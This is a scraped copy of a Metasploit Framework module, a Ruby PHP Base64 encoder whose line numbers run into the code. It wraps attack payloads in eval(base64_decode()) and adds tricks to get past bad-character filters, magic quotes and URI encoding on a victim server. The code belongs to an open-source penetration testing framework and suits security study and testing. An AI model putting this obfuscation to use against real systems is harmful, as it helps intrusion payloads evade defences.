Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/php/base64.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Encoder6Rank = GreatRanking78def initialize9super(10'Name' => 'PHP Base64 Encoder',11'Description' => %q{12This encoder returns a base64 string encapsulated in13eval(base64_decode()), increasing the size by a bit more than14one third.15},16'Author' => 'egypt',17'License' => BSD_LICENSE,18'Arch' => ARCH_PHP)19register_options(20[21OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.22],23self.class)24end2526def encode_block(state, buf)27# Have to have these for the decoder stub, so if they're not available,28# there's nothing we can do here.29%w[c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;].uniq.each do |c|30raise BadcharError if state.badchars.include?(c)31end3233if datastore['Compress']34%w[g z u n c o m p r e s s].uniq.each do |c|35raise BadcharError if state.badchars.include?(c)36end37end3839# Modern versions of PHP choke on unquoted literal strings.40quote = "'"41if state.badchars.include?("'")42raise BadcharError.new, "The #{self.name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"')4344quote = '"'45end4647if datastore['Compress']48buf = Zlib::Deflate.deflate(buf)49end5051# PHP escapes quotes by default with magic_quotes_gpc, so we use some52# tricks to get around using them.53#54# The raw, unquoted base64 without the terminating equals works because55# PHP treats it like a string. There are, however, a couple of caveats56# because first, PHP tries to parse the bare string as a constant.57# Because of this, the string is limited to things that can be58# identifiers, i.e., things that start with [a-zA-Z] and contain only59# [a-zA-Z0-9_]. Also, for payloads that encode to more than 99860# characters, only part of the payload gets unencoded on the victim,61# presumably due to a limitation in PHP identifier name lengths, so we62# break the encoded payload into roughly 900-byte chunks.63#64# https://wiki.php.net/rfc/deprecate-bareword-strings6566b64 = Rex::Text.encode_base64(buf)6768# The '=' or '==' used for padding at the end of the base64 encoded69# data is unnecessary and can cause parse errors when we use it as a70# raw string, so strip it off.71b64.gsub!(/[=\n]+/, '')7273# Similarly, when we separate large payloads into chunks to avoid the74# 998-byte problem mentioned above, we have to make sure that the first75# character of each chunk is an alpha character. This simple algorithm76# will create a broken string in the case of 99 consecutive digits,77# slashes, and plusses in the base64 encoding, but the likelihood of78# that is low enough that I don't care.79i = 90080while i < b64.length81i += 1 while (b64[i].chr =~ %r{[0-9/+]})82b64.insert(i, '.')83i += 90084end8586# Plus characters ('+') in a uri are converted to spaces, so replace87# them with something that PHP will turn into a plus. Slashes cause88# parse errors on the server side, so do the same for them.89b64.gsub!('+', "#{quote}.chr(43).#{quote}")90b64.gsub!('/', "#{quote}.chr(47).#{quote}")9192state.badchars.each_byte do |byte|93# Last ditch effort, if any of the normal characters used by base6494# are badchars, try to replace them with something that will become95# the appropriate thing on the other side.96if b64.include?(byte.chr)97b64.gsub!(byte.chr, "#{quote}.chr(#{byte}).#{quote}")98end99end100101# In the case where a plus or slash happened at the end of a chunk,102# we'll have two dots next to each other, so fix it up. Note that this103# is searching for literal dots, not a regex matching any two104# characters105b64.gsub!('..', '.')106107# Some of the shenanigans above could have appended a dot, which will108# cause a syntax error. Remove any trailing dots.109b64.chomp!('.')110111if datastore['Compress']112return 'eval(gzuncompress(base64_decode(' + quote + b64 + quote + ')));'113else114return 'eval(base64_decode(' + quote + b64 + quote + '));'115end116end117end118119120